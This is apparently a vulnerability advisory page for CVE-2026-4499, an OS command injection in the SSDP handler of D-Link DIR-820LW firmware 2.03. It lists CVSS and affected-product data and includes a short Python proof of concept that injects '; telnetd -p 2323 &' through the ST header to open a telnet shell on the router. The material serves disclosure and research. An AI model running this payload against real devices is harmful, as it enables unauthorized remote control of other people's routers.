Security Vulnerability Report
中文
CVE-2026-4499 CVSS 7.3 HIGH

CVE-2026-4499

Published: 2026-03-20 20:16:50
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was determined in D-Link DIR-820LW 2.03. Affected is the function ssdpcgi_main of the component SSDP. Executing a manipulation can lead to os command injection. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-820lw_firmware:2.03:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dir-820lw:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DIR-820LW 2.03

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target IP address of the vulnerable device target_ip = "192.168.0.1" url = f"http://{target_ip}/" # Malicious payload to execute a command (e.g., telnetd) # The vulnerability is triggered via the HTTP_ST header payload = "; telnetd -p 2323 &" headers = { "User-Agent": "Mozilla/5.0", "ST": payload # Vulnerable parameter HTTP_ST } try: # Send the malicious request response = requests.get(url, headers=headers, timeout=5) print(f"Request sent to {url}") print(f"Status Code: {response.status_code}") # Check if telnet port opened (verification step) except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
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